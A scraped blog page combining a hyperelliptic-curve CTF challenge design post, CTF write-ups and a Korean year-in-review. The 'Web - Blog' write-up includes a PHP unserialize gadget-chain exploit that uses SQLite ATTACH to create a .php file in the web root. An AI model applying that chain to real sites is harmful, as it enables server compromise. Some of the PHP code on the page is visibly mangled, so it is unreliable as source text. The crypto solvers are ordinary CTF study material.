So while the challenge was fun, I thought that it didn't venture through the whole "recover $D$ from $2D$" part. Another thing was that at first, I didn't realize that $(x - xv)^2$ would be the representation of $2D$. This lead me to thinking about searching for methods to actually compute the order of the Jacobian. After some quick tries, I realized that for hyperelliptic curves of genus 2 and above, the computation of orders is quite a difficult task. You can take more looks into this in papers like https://eprint.iacr.org/2020/289.pdf

So the whole dividing by 2 shouldn't be very trivial. Let's think about genus 2. A reduced divisor would be of the form of $[P] - [O]$ or $[P] + [Q] - 2[O]$. We would be given the divisor multiplied by 2. We see that the $[P] - [O]$ case is the easy case presented in SECCON. How about the latter? In this case, $2[P] + 2[Q] - 4[O]$ would be presented to us. This is clearly not reduced, so we need to reduce.

A good explainer is presented in "Pairings For Beginners" Section 3.2. You set up a polynomial $g$ such that $g$ meets $f$ at $P$ with multiplicity $2$ and $Q$ with multiplicity $2$. This amounts to 4 constraints, so $g$ should be degree 3. Now we see something like $$g^2 - f = C (x - p)^2 (x - q)^2 (x^2 + ax + b)$$ For sake of explaining let's just say that $x^2 + ax + b$ splits and we have $$g^2 - f = (x - p)^2 (x - q)^2 (x - r) (x - s)$$ This will mean that $$2[P] + 2[Q] + [R] + [S] - 6[O]$$ is a principal divisor, so in the Jacobian, we will have $$2[P] + 2[Q] - 4[O] = 2[O] - [R] - [S]$$ which is practically now reduced. This means that $x^2 + ax + b$ will be (up to sign) the $u(x)$ of the Mumford representation of $2[P] + 2[Q] - 4[O]$, i.e. the polynomial we are already given. So basically we would be solving for something like $$g^2 - f = C (x - p)^2 (x - q)^2 u(x)$$ which looks to be relatively doable with the whole resultants and whatnot. It was, and I'll explain the further details later.

The next question for me was in dividing-by-2 in genus 3, rather than solving for dividing-by-3 in genus 2.

You actually need to reduce two times here, so following the system we have something like $$g^2 - f = C_1(x-p)^2(x-q)^2(x-r)^2 T(x)$$ $$h^2 - f = C_2T(x) u(x)$$ so something like $$(g^2 - f) u(x) = C(h^2 - f) (x-p)^2(x-q)^2(x-r)^2$$ where $g$ is degree 5 and $h$ is degree $3$. This is quite a lot of variables, so even after optimizing as hard as I can, I couldn't get the algorithm to run in SageMath at all. In the end I gave up, and decided to ask to solve for $P$ when given $5[P] - 5[O]$.

This requires a single reduction - take a $g$ of degree 4 that meets $f$ at $P$ with multiplicity 5. Then $$g^2 - f = C(x-p)^5 u(x)$$ holds, so this is a relatively manageable system that can be solved in SageMath within time. Once again, I'll explain the details later.

Before we dive into the PBCTF challenge, let's look into the whole dividing-by-2 situation in genus 3 hyperelliptic curves.

At first I thought it would just be a cool challenge, but it turned out that it had some interesting background.

It turns out that the previously noted fact that hyperelliptic curve's order is quite hard to compute had made it a candidate for a hidden order group. Hidden order groups are used in various parts of cryptography - the most common one we all know is the RSA group $\mathbb{Z}_N^\star$. There are various assumptions, (see Alin Tomescu's blog post) and various cryptographic primitives that are based on those assumptions. Some examples are VDFs (see [BBF18]) and integer-based zero knowledge proofs (see DARK [BFS19]) and so on. One popular choice for such a group is obvious - the RSA group itself, sometimes reduced to something like $QR_N / \{\pm 1\}$. However, selecting $N$ requires either a trusted third party or ridiculously large $N$ (see Sander's paper) which adds concerns. The goal now is trustless hidden order groups - and this is where class groups of imaginary quadratic fields come in. Apparently simply choosing a prime $p$ is enough - and nobody will be able to compute the order. Many papers based on hidden order groups mention class groups.

Hyperelliptic curves of genus 3 and above are mentioned as candidates in Brent's paper. It was then considered by Dobson, Galbraith, and Smith - this paper does a lot of things, such as rethinking security parameters, lowering sizes of ideal class group elements. Another thing that this paper does is to speculate that hyperelliptic curves of genus 3 actually might be a good choice - for example, the paper suggests that it may offer shorter keylengths in practice. The paper was followed by a paper by Jonathan Lee, who discusses point counting algorithms on hyperelliptic curves. Further work was done by a paper by Thakur to discuss more details, such as types of curves to avoid.

At this point, dividing-by-2 in genus 3 curves sounded like it should be impossible. After all, the RSA equivalent of this is solving a quadratic equation modulo $N$, which is straight up just equivalent to factoring. Also, if dividing-by-2 is impossible, then by definition, Strong RSA Assumption will be broken. I believed that this would immediately hinder the usage of hyperelliptic curves as hidden order groups. I didn't know if dividing-by-2 was possible in class groups as well. It is possible, and it's even mentioned in the DARK paper, oops...

Anyways, that was why I was so focused on doing the dividing-by-2 in genus 3 curves - I thought it would have a serious implication.

Back to the PBCTF challenge. The challenge I wanted was recovering $P, Q$ from $2[P] + 2[Q] - 4[O]$ in a genus 2 curve, and $R$ from $5[R] - 5[O]$ in a genus 3 curve. Since "hell" also had a part to recover the hyperelliptic curve equation, I decided that I should add this as well. I also wanted to make recovering $p$ as a part of the challenge. To do so, I added a point thanking @theoremoon for the nice SECCON challenge. To make the hyperelliptic curve formula recovery a bit more challenging, I bounded the coefficients heavily and gave less equations - so that lattice reductions are required. In the end, the challenge I submitted for PBCTF looked like this. It had 4 solves.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import os    flag = open("flag", "rb").read() flag = flag.lstrip(b"pbctf{").rstrip(b"}") assert len(flag) == 192   while True:     p = random_prime(1 << 513, lbound = 1 << 512)     coefs = [int.from_bytes(os.urandom(42), "big") for _ in range(8)]     PR. = PolynomialRing(GF(p))       g1, g2 = 2, 3     f1 = sum(coefs[i] * (x ** i) for i in range(2 * g1 + 2))     f2 = sum(coefs[i] * (x ** i) for i in range(2 * g2 + 2))       flag1 = GF(p)(int.from_bytes(flag[:64], "big"))     flag2 = GF(p)(int.from_bytes(flag[64:128], "big"))     flag3 = GF(p)(int.from_bytes(flag[128:], "big"))     hint = GF(p)(int.from_bytes(b"Inspired by theoremoon's SECCON 2022 Finals Challenge - Hell. Thank you!", "big"))       pol1 = x * x - f1(flag1)     pol2 = x * x - f1(flag2)     pol3 = x * x - f2(flag3)     pol4 = x * x - f2(hint)       if len(pol1.roots()) * len(pol2.roots()) * len(pol3.roots()) * len(pol4.roots()) == 0:         continue        HC1 = HyperellipticCurve(f1, 0)     J1 = HC1.jacobian()(GF(p))       HC2 = HyperellipticCurve(f2, 0)     J2 = HC2.jacobian()(GF(p))       P1 = HC1((flag1, pol1.roots()[0][0]))     P2 = HC1((flag2, pol2.roots()[0][0]))     P3 = HC2((flag3, pol3.roots()[0][0]))     P4 = HC2((hint, pol4.roots()[0][0]))       print(2 * J1(P1) + 2 * J1(P2))     print(5 * J2(P3))     print(J2(P4))     break Colored by Color Scripter cs

First, the hint and the jacobian of $P_4$ immediately gives a small product of $p$ - it can be checked that the hint string converted to integers is just a little higher than $2^{512}$. By factoring that small product, you can recover $p$.

Now we move on to recovering the 8 coefficients. As in the solution of "hell", we know that $v^2 \equiv f \pmod{u}$. Since the degrees of $u$ in the three Jacobians are 2, 3, 1 respectively, this amounts to 6 linear equations on the coefficients of $f$. Therefore, the solutions will be of the form of $s + c_1 l_1 + c_2l_2$ where $c_1, c_2$ are constants and $l_1, l_2$ is in the kernel of the matrix. As the coefficients are less than $2^{336}$, a lattice reduction will find the coefficients. Notice that $336 \times 8$ is significantly less than $512 \times 6$.

We now move on to the real challenge - the first one, as mentioned is recovering $P, Q$ from $2[P] + 2[Q] - 4[O]$.

Also as mentioned before, this can be reduced to solving $$g^2 - f = C_1 (x - p)^2 (x - q)^2 u(x)$$ Let's solve for this. Set $g = A + Bx + Cx^2 + Dx^3$ to get $$(A + Bx + Cx^2 + Dx^3)^2 - f = C_1(x-p)^2(x-q)^2u(x)$$ and by comparing the leading coefficient, we see that $C_1 = D^2$ so $$(A + Bx + Cx^2 + Dx^3)^2 - f = D^2(x-p)^2(x-q)^2u(x)$$ Now, for the sake of lowering degrees (in terms of $A, B, C, D$), we change this to $$(AD^{-1} + BD^{-1} x + CD^{-1} x^2 + x^3)^2 - D^{-2} f = (x-p)^2(x-q)^2u(x)$$ and re-define the variables to get $$(A + Bx + Cx^2 + x^3)^2 - D f = (x-p)^2(x-q)^2 u(x)$$ Now we will perform long-division on the LHS by $u(x)$, and add the constrain that the remainder should be zero. This will be two polynomial constraints on $A, B, C, D$. We add the fact that the result will be of the form of $$(x^2 + ax + b)^2 = x^4 + 2ax^3 + (a^2 + 2b)x^2 + 2abx + b^2$$ Since the coefficients are polynomials of $A, B, C, D$, we add constraints that the coefficients are ones of the form shown in $(x^2 + ax + b)^2$. For example, if the division result if $x^4 + c_3x^3 + c_2x^2 + c_1x + c_0$, where $c_i$s are polynomials of $A, B, C, D$, then we could set $a = c_3 / 2$ and $b = (c_2 - a^2) / 2$ then constrain that $c_1 = 2ab$ and $c_0 = b^2$. This adds two more polynomial constraints to $A, B, C, D$. Since we have four constraints and four variables, resultants will be able to recover $A, B, C, D$ with some time.

The second challenge is recovering $R$ from $5[R] - 5[O]$. This is solving $$g^2 - f = C_1(x-r)^5 u(x)$$ Here, I actually generated the parameters so that $u$ would split into three linear factors. This made it easier to compute everything, or at least think about everything (maybe this trick works with extended fields too). For example, let's say that $t$ is a root of $u$. Then, $g$ here would actually have to pass through $(t, -v(t))$. This would make the reduction process send $5[R] - 5[O]$ to have $(t, v(t))$ in the reduced form. Therefore, we actually know 3 points that $g$ passes through, which means that we can interpolate them. Therefore, we know $g \pmod{u}$.

So let's write $g = b + C_2 u(x) (x + v)$. This makes us write $$(b + C_2u(x)(x+v))^2 - f = C_1(x - r)^5 u(x)$$ and from the leading coefficients, we know $C_2^2 = C_1$. Now we can write $$(C_2^{-1} b + u(x)(x + v))^2 - C_2^{-2} f = (x-r)^5 u(x)$$ and rewriting variables, we can just solve for $$(t b + u(x)(x+v))^2 - t^2 f = (x-r)^5 u(x)$$ so there are only two variables - $t$ and $v$. We proceed similarly - divide the LHS by $u(x)$. Here, the remainder should be $0$ already, as we set $b = g \pmod{u}$ as already known. The main part is to constrain so that the result of the division is of the form $(x-r)^5$. To do so, let the result be $x^5 + c_4x^4+ \cdots + c_0$, where $c_i$s are again polynomials of $t, v$. Then, we can set $r = -c_4/5$ and constrain $c_3 = 10r^2, c_2 = -10r^3, c_1 = 5r^4, c_0 = -r^5$. This makes it possible to solve for $t, v$.

After the CTF, @isenbaev told via twitter that divide-by-2 in genus 3 hyperelliptic curves. It happens that Magma is very strong, and can compute this kind of stuff very fast. At first, I was very surprised at the fact that divide-by-2 is possible. So what now? What does this mean??

I went over the VDF papers and DARK paper to look at exactly what assumptions they are working with.

VDFs require low order assumption or the adaptive root assumption. The latter is clearly hard, but low order assumption seemed interesing. Can we go further and consider multiplication/division by 3? I'm not sure, but it might be interesting to try. DARK paper mentions using the Strong RSA in Theorem 5. Another interesting thing was that there are papers that try to remove the Strong RSA assumption from arguments working over the integers. I still need to read that paper - it sounds very cool.

Basically, it considers the set $S$ where low-order assumption is broken, and just considers $\text{lcm}(S) G$. This is exactly the methods used to reduce the RSA group to $\mathbb{Z}_N^\star / \{\pm 1\}$ or something like that. This seems to be enough defense against low order assumption attacks.

What about the Strong RSA assumption side of things? I still thought that the whole dividing-by-2 things being possible was very bad, but as I mentioned before, I learned that even class groups have that property as well. Apparently it's fine.

I guess that not reading the detailed proof for DARK really hurt in the end. The proof is really hard, though...

Anyways, this was a really fun adventure, and I'm more motivated to study now. Thanks to everyone for the discussion.

#### 'Cryptography' 카테고리의 다른 글

ZK Applications  (0) 2023.03.03 2023.02.27 2022.12.21 2022.11.25 2022.11.04

I participated as rkm0959_test and somehow got 10th place. Initially wanted to take a brief look at the cryptography challs, ended up calling two friends and managed to clinch finals. Not sure if I'll be over there, though. Need to decide... Brief writeups, as I'm tired.

For the challenges, see https://hackmd.io/@y011d4/rJfWwERTj

Also need to upsolve the cryptography challenges. A lot of stuff to do...

### Web - Blog

The solver tells me that there is a unserialize vulnerability in cookies, so change the db path of sqlite and create a php file.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 title = $title;$this->content = $content; } public function __toString() {$comments = $this->comments; // comments are bugged for now, but in future it might be re-implemented // when it is, just append$comments_fallback to $out if ($comments !== null) {             $comments_fallback =$this->$comments; }$conn = new Conn;         $conn->queries = array(new Query( "select id from posts where title = :title and content = :content", array(":title" =>$this->title, ":content" => $this->content) ));$result = $conn(); if ($result[0] === false) {             return "";         } else {             return "                               {$this->title} {$this->content}

";         }     } }   class User {     public $profile; public$posts = array();       public function __construct($username) {$this->profile = new Profile($username); } // get user profile public function get_profile() { // some dev apparently mixed up user and profile... // so this check prevents any more errors if ($this->profile instanceof User) {             return "@i_use_vscode please fix your code";         } else {             // quite unnecessary to assign to a variable imho             $profile_string = " {$this->profile}
";             return $profile_string; } } public function get_posts() { // check if we've already fetched posts before to save some overhead // (our poor sqlite db is dying) if (sizeof($this->posts) !== 0) {             return "Please reload the page to fetch your posts from the database";         }           // get all user posts         $conn = new Conn;$conn->queries = array(new Query(             "select title, content from posts where user = :user",             array(":user" => $this->profile->username) )); // get posts from database$result = $conn(); if ($result[0] !== false) {             while ($row =$result[0]->fetchArray(1)) {                 $this->posts[] = new Post($row["title"], $row["content"]); } } // build the return string$out = "";         foreach ($this->posts as$post) {             $out .=$post;         }         return $out; } // who put this?? git blame moment (edit: i checked, it's @i_use_vscode as usual) public function __toString() {$profile = $this->profile; return$profile();     } }   class Profile {     public $username; public$picture_path = "images/real_programmers.png";       public function __construct($username) {$this->username = $username; } // hotfix for @i_use_vscode (see line 97) // when removed, please remove this as well public function __invoke() { if (gettype($this->picture_path) !== "string") {                     return "";         }           $picture = base64_encode(file_get_contents($this->picture_path));           // check if user exists         $conn = new Conn;$conn->queries = array(new Query(             "select id from users where username = :username",             array(":username" => $this->username) ));$result = $conn(); if ($result[0] === false || $result[0]->fetchArray() === false) { return ""; } else { return " {$this->username}                                           ";         }     }       // this is the correct implementation :facepalm:     public function __toString() {         if (gettype($this->picture_path) !== "string") { return ""; }$picture = base64_encode(file_get_contents($this->picture_path)); // check if user exists$conn = new Conn;         $conn->queries = array(new Query( "select id from users where username = :username", array(":username" =>$this->username)         ));         $result =$conn();         if ($result[0] === false ||$result[0]->fetchArray() === false) {             return "";         } else {             return "                                                                     {$this->username} "; } } } class Conn { public$queries;       // old legacy code - idk what it does but not touching it...     public function __invoke() {         $conn = new SQLite3("/sqlite3/db");$result = array();           // on second thought, whoever wrote this is a genius         // its gotta be @i_use_neovim         foreach ($this->queries as$query) {             if (gettype($query->query_string) !== "string") { return "Invalid query."; }$stmt = $conn->prepare($query->query_string);             foreach ($query->args as$param => $value) { if (gettype($value) === "string" || gettype($value) === "integer") {$stmt->bindValue($param,$value);                 } else {                     $stmt->bindValue($param, "");                 }             }             $result[] =$stmt->execute();         }           return $result; } } class Query { public$query_string = "";     public $args; public function __construct($query_string, $args) {$this->query_string = $query_string;$this->args = $args; } // for debugging purposes public function __toString() { return$this->query_string;     } }   $conn = new Conn;$conn->queries = array(new Query(     "attach database '/var/www/html/2ji1234312.php' as lol",     array() ),new Query(     "create table lol.pwn (dataz text)",     array() ),new Query(     "insert into lol.pwn (dataz) values ('1234')",     array() ));   // $conn->queries = array(new Query( // ".clone /var/www/html/ji1234312.php", // array() // ));$data = "Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiJxd2VycWEyIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6Mjc6ImltYWdlcy9yZWFsX3Byb2dyYW1tZXJzLnBuZyI7fXM6NToicG9zdHMiO2E6MDp7fX0="; $user = unserialize(base64_decode($data));   echo var_dump($user); //$user->profile->picture_path = "/sqlite3/db"; // $user->profile =$conn; $user->profile->username = unserialize(base64_decode($data)); // $user->profile = "phpinfo";$user->profile->username->profile="phpinfo"; $user->profile->username->profile=$conn; echo var_dump($user); echo base64_encode(serialize(($user))); Colored by Color Scripter cs

### Crypto - d_phi_enc

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from Crypto.Util.number import bytes_to_long, getStrongPrime   from secret import flag   assert len(flag) == 255 e = 3 p = getStrongPrime(1024, e=e) q = getStrongPrime(1024, e=e) n = p * q phi = (p - 1) * (q - 1) d = pow(e, -1, phi) enc_d = pow(d, e, n) enc_phi = pow(phi, e, n) enc_flag = pow(bytes_to_long(flag), e, n) print(f"{n = }") print(f"{enc_d = }") print(f"{enc_phi = }") print(f"{enc_flag = }")   Colored by Color Scripter cs

You are given $d^3 \pmod{n}$ and $\phi^3 \pmod{n}$, with RSA parameters where $e=3$.

Since $3d = 1 + \phi$ or $3d = 1 + 2 \phi$, we essentially have two polynomial equations on $d$. GCD works.

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def GCD(f, g, n):     g = g % f     if g == 0:         return f     t = g.lc()     if gcd(t, n) != 1:         print(t)         exit()     tt = inverse_mod(Integer(t), n)     g = g * tt     return GCD(g, f, n)     # 3d = phi + 1 # 3d = 2phi + 1   PR = PolynomialRing(Zmod(n), 'x') x = PR.gen()   f = x * x * x - Zmod(n)(enc_d) g = (3 * x - 1) ** 3 - Zmod(n)(enc_phi)   h = (3 * x - 1) ** 3 - Zmod(n)(enc_phi) * 8     print(GCD(f, g, n)) print(GCD(f, h, n)) cs

### Crypto - kaitzensushi

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from math import gcd from Crypto.Util.number import bytes_to_long, isPrime   from secret import p, q, x1, y1, x2, y2, e, flag   # properties of secret variables assert isPrime(p) and p.bit_length() == 768 assert isPrime(q) and q.bit_length() == 768 assert isPrime(e) and e.bit_length() == 256 assert gcd((p - 1) * (q - 1), e) == 1 assert x1.bit_length() <= 768 and x2.bit_length() <= 768 assert y1.bit_length() <= 640 and y2.bit_length() <= 640 assert x1 ** 2 + e * y1 ** 2 == p * q assert x2 ** 2 + e * y2 ** 2 == p * q   # encrypt flag by RSA, with xor n = p * q c = pow(bytes_to_long(flag) ^^ x1 ^^ y1 ^^ x2 ^^ y2, e, n) print(f"{n = }") print(f"{c = }")   # hints 🍣 F = RealField(1337) x = vector(F, [x1, x2]) y = vector(F, [y1, y2]) # rotate theta = F.random_element(min=-pi, max=pi) R = matrix(F, [[cos(theta), -sin(theta)], [sin(theta), cos(theta)]]) x = R * x y = R * y print(f"{x = }") print(f"{y = }")   Colored by Color Scripter cs

There are a lot of stuff to process. First, as $R$ is a rotation matrix, you can compute $x_1^2 + x_2^2$ and $y_1^2 + y_2^2$. However, due to the precision, only the integer value of $y_1^2 + y_2^2$ can be computed exactly, and the value of $x_1^2 + x_2^2$ has a bit of an error range. However, as we have $$(x_1^2 + x_2^2) + e (y_1^2 + y_2^2) = 2n$$ we can do some basic bounding to recover $e$ and the actual value of $x_1^2 + x_2^2$ as well.

You can also compute the rough values of $x_1y_1 + x_2y_2$ as this is the inner product of the two values, which doesn't change under rotation. Similar for $x_1y_2 - x_2y_1$. However, there are some precision issues which lead to the exact computation of these two values difficult.

To overcome this, we use the equation $$(x_1y_1+x_2y_2)^2 + (x_1y_2 - x_2y_1)^2 = (x_1^2+ x_2^2)(y_1^2+y_2^2)$$ which we know the precise value of. With this equation, some standard lattice tricks with some more bounding can recover the exact value of $x_1y_1 + x_2y_2$ and $x_1 y_2 - x_2y_1$. Now one can recover the full values of $x_1, x_2, y_1, y_2$ algebraically - I just did some resultants stuff over $\mathbb{F}_p$ for some random large $p$, but other methods will work. Now it suffices to factor $n$.

Here, we note that $$(x_1/y_1)^2 + e \equiv (x_2/y_2)^2 + e \equiv 0 \pmod{n}$$ so one can hope that $x_1/y_1$ and $x_2/y_2$ differ in one of $\pmod{p}$ and $\pmod{q}$, so usual GCD tricks work. This happens to be the case.

### Crypto - broken oracle

 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 #!/usr/local/bin/python3 """ implementation of https://www.cs.umd.edu/~gasarch/TOPICS/miscrypto/rabinwithrecip.pdf """ import os import random from dataclasses import dataclass from math import gcd from typing import List, Tuple   import gmpy2 from Crypto.Util.number import bytes_to_long, getPrime   from secret import flag     @dataclass class Pubkey:     n: int     c: int     @dataclass class Privkey:     p: int     q: int     @dataclass class Enc:     r: int     s: int     t: int       def __repr__(self) -> str:         return f"r = {self.r}\ns = {self.s}\nt = {self.t}"     def crt(r1: int, n1: int, r2: int, n2: int) -> int:     g, x, y = gmpy2.gcdext(n1, n2)     assert g == 1     return int((n1 * x * r2 + n2 * y * r1) % (n1 * n2))     def gen_prime(pbits: int) -> int:     p = getPrime(pbits)     while True:         if p % 4 == 3:             return p         p = getPrime(pbits)     def genkey(pbits: int) -> Tuple[Pubkey, Privkey]:     p, q = gen_prime(pbits), gen_prime(pbits)     n = p * q     c = random.randint(0, n - 1)     while True:         if gmpy2.jacobi(c, p) == -1 and gmpy2.jacobi(c, q) == -1:             break         c = random.randint(0, n - 1)     pubkey = Pubkey(n=n, c=c)     privkey = Privkey(p=p, q=q)     return pubkey, privkey     def encrypt(m: int, pub: Pubkey) -> Enc:     assert 0 < m < pub.n     assert gcd(m, pub.n) == 1     r = int((m + pub.c * pow(m, -1, pub.n)) % pub.n)     s = int(gmpy2.jacobi(m, pub.n))     t = int(pub.c * pow(m, -1, pub.n) % pub.n < m)     enc = Enc(r=r, s=s, t=t)     assert s in [1, -1]     assert t in [0, 1]     return enc     def solve_quad(r: int, c: int, p: int) -> Tuple[int, int]:     """     Solve x^2 - r * x + c = 0 mod p     See chapter 5.     """       def mod(poly: List[int]) -> None:         """         Calculate mod x^2 - r * x + c (inplace)         """         assert len(poly) == 3         if poly[2] == 0:             return         poly[1] += poly[2] * r         poly[1] %= p         poly[0] -= poly[2] * c         poly[0] %= p         poly[2] = 0       def prod(poly1: List[int], poly2: List[int]) -> List[int]:         """         Calculate poly1 * poly2 mod x^2 - r * x + c         """         assert len(poly1) == 3 and len(poly2) == 3         assert poly1[2] == 0 and poly2[2] == 0         res = [             poly1[0] * poly2[0] % p,             (poly1[1] * poly2[0] + poly1[0] * poly2[1]) % p,             poly1[1] * poly2[1] % p,         ]         mod(res)         assert res[2] == 0         return res       # calculate x^exp mod (x^2 - r * x + c) in GF(p)     exp = (p - 1) // 2     res_poly = [1, 0, 0]  # = 1     cur_poly = [0, 1, 0]  # = x     while True:         if exp % 2 == 1:             res_poly = prod(res_poly, cur_poly)         exp //= 2         if exp == 0:             break         cur_poly = prod(cur_poly, cur_poly)       # I think the last equation in chapter 5 should be x^{(p-1)/2}-1 mod (x^2 - Ex + c)     # (This change is not related to vulnerability as far as I know)     a1 = -(res_poly[0] - 1) * pow(res_poly[1], -1, p) % p     a2 = (r - a1) % p     return a1, a2     def decrypt(enc: Enc, pub: Pubkey, priv: Privkey) -> int:     assert 0 <= enc.r < pub.n     assert enc.s in [1, -1]     assert enc.t in [0, 1]     mps = solve_quad(enc.r, pub.c, priv.p)     mqs = solve_quad(enc.r, pub.c, priv.q)     ms = []     for mp in mps:         for mq in mqs:             m = crt(mp, priv.p, mq, priv.q)             if gmpy2.jacobi(m, pub.n) == enc.s:                 ms.append(m)     assert len(ms) == 2     m1, m2 = ms     if m1 < m2:         m1, m2 = m2, m1     if enc.t == 1:         m = m1     elif enc.t == 0:         m = m2     else:         raise ValueError     return m     if __name__ == "__main__":     pbits = 1024     pub, priv = genkey(pbits)     while len(flag) < 255:         flag += os.urandom(1)     enc_flag = encrypt(bytes_to_long(flag), pub)     print("encrypted flag:")     print(enc_flag)     while True:         try:             r, s, t = map(int, input("r, s, t = ").split(","))             enc = Enc(r=r, s=s, t=t)             enc_dec_enc = encrypt(decrypt(enc, pub, priv), pub)             print("decrypt(encrypt(input)):")             print(enc_dec_enc)         except Exception:             print("Something wrong...")   Colored by Color Scripter cs

The clear issue here is that the decrypt function doesn't care if a solution to $x^2 - rx + c \equiv 0 \pmod{p}$ exists.

In this case, the result of $x + c / x$ would not be once again equal to $r$, which will makes things interesting.

To dive further into this, let's send enc-dec queries of $(r_0, \{-1, 1\}, \{0, 1\})$ and see the results - we are more focused on the $r$ values of the result. We would think that all the $r$ values would be $r_0$, but some experimentation shows that it isn't the case - there are sometimes a single unique $r$ value, two unique $r$ values, or four unique $r$ values. Here, we ignore the error cases (asserts) as they are not needed.

The interesting case is where there are two unique $r$ values. In this case, the intuition is that $\pmod{p}$ side of the things worked out, but $\pmod{q}$ side didn't. So while $x + c / x$ values agree each other in $\pmod{p}$, it didn't on $\pmod{q}$.

In other words, the difference of the two $r$ values would be a multiple of $p$, but not $q$, a perfect scenario for GCD ideas.

This allows us to get $n$. Try out various $r_0$ values, and if there are two unique $r$ values, collect the difference. For each pair of differences, take the GCD. If it is non-trivial, it would be a prime divisor of $n$. After enough collection we can recover both $p, q$.

Now we need to get $c$. Here, we note that even when the $x^2 - rx + c \equiv 0 \pmod{p}$ didn't work out, the two returned solutions add up to $r$. This can be used to set up a two-variable, two-equation system over $\pmod{p}$, where one variable is $a_1$ of the solve_quad and the other is $c$. This can be solved easily via various methods. Since we have $p, q, n, c$ and the encrypted flag, the rest is easy.

### Smart Contract - Dragon Slayer

Basically you need to get all the items and dunk on the dragon. There is a safeMint hook on the bank note, so that's a vector.

It turns out that split function, along with the safeMint hook, can be used as a flashloan. So just kill the dragon and return the loan.

### Smart Contract - Diamond Heist

Sushiswap delegation double spending bug + Flashloan + UUPSUpgrade to Attack Contract

#### 'CTF' 카테고리의 다른 글

ACSC 2023 Writeups  (0) 2023.02.26 2022.11.21 2022.11.09 2022.09.19 2022.09.19

### Optimization

• 올해 초에 Ernest Ryu 교수님의 랩실에서 서포트 역할을 맡아서 논문 작업을 하나 도왔습니다.
• ICML oral로 accept 되었는데 2저자기도 하고 여러모로 제대로 못 도와드린 것 같아서 아쉬움이 있습니다.
• 논문은 진짜 재밌습니다. 1저자분과 교수님의 아이디어들이 되게 신기했습니다. 더 팔 게 많은 방향인 것 같아요.
• 저 논문 관련된 태스크가 끝난 뒤로, 병특과 랩실을 병행하기 어려울 것 같아서 일단 일시정지한 상태입니다.
• PEPit에 기여를 했습니다. 교수님 랩실에서 나온 논문에서 나온 알고리즘들 몇 개를 추가했어요.
• 암호학 쪽으로 더 공부를 열심히 할 것 같고, 가끔 랩실 논문 리뷰할 것 있으면 리뷰할 것 같아요. 코드 감사하듯 리뷰하면 재밌습니다.

### Zero Knowledge

• 이 발표로 저를 알게 된 분들이 꽤 있는 것 같습니다. 이런 경로로 저를 아는 분들이 생기는 건 좋은 것 같습니다.
• 저기서 시작해서 Groth16, PLONK, Recursive SNARK 쪽을 어느 정도 공부한 것 같습니다.
• 0xPARC 사람들과 정말 고맙게도 다시 연락이 닿아서 관련 이야기를 할 수 있는 채널이 늘어났습니다.
• ZK-ZK-SEL이라고 한국에서 ZK 이해도 높으신 분들과 이야기를 할 수 있는 채널이 생겼습니다.
• Open Source Contributon에 참여했습니다. 이론적인 건 괜찮은데 제가 아직 구현/개발쪽이 문제같습니다.
• 0xPARC 덕분에 9월에 Stanford 쪽으로 가서 Research Workshop에 참가할 수 있었습니다. 재밌었어요!
• 약간 아쉽게 끝났지만 (SOTA와 사용하는 아이디어가 비슷하기는 해서) Lookup Argument 관련 연구도 했습니다.
• https://zkresear.ch/t/new-lookup-argument/32
• Software Membership 쪽에 ZK 관련 fundamental을 꽤 올렸습니다.
• 내년 목표는 일단 ZK Protocol 관련 SOTA 논문을 다 밀고, Thaler 책을 다 읽고, 개발 쪽에 손이 익도록 하는 것입니다.
• 이러려면 결국 Rust 공부가 병행되어야 할 것 같습니다. 더 미루면 안될 것 같아요. Go도 조금 손에 익었으면 합니다.
• 다른 암호 분야 이야기도 여기서 하자면, https://toc.cryptobook.us/ 밀고 격자 공부를 조금 더 해야할 것 같네요.
• 솔직히 블록암호나 다른 분야에 특별한 관심까지는 없어서 일단 ZK 쪽에 구경이나 더 하는걸로...
• 0xPARC에서 같이 개발 연습할 기회는 많은데 이번에는 좀 제대로 잡았으면 좋겠네요. ZK 관련 보안감사도 있으면 좋을 듯.

### Security & CTF

• 대회 참가하러 해외에 나갈 수 있어서 좋았습니다.
• DEFCON에서 해외 지인도 꽤 많이 볼 수 있어서 좋았어요. 근데 기여를 못하는 게 항상 아쉽습니다.
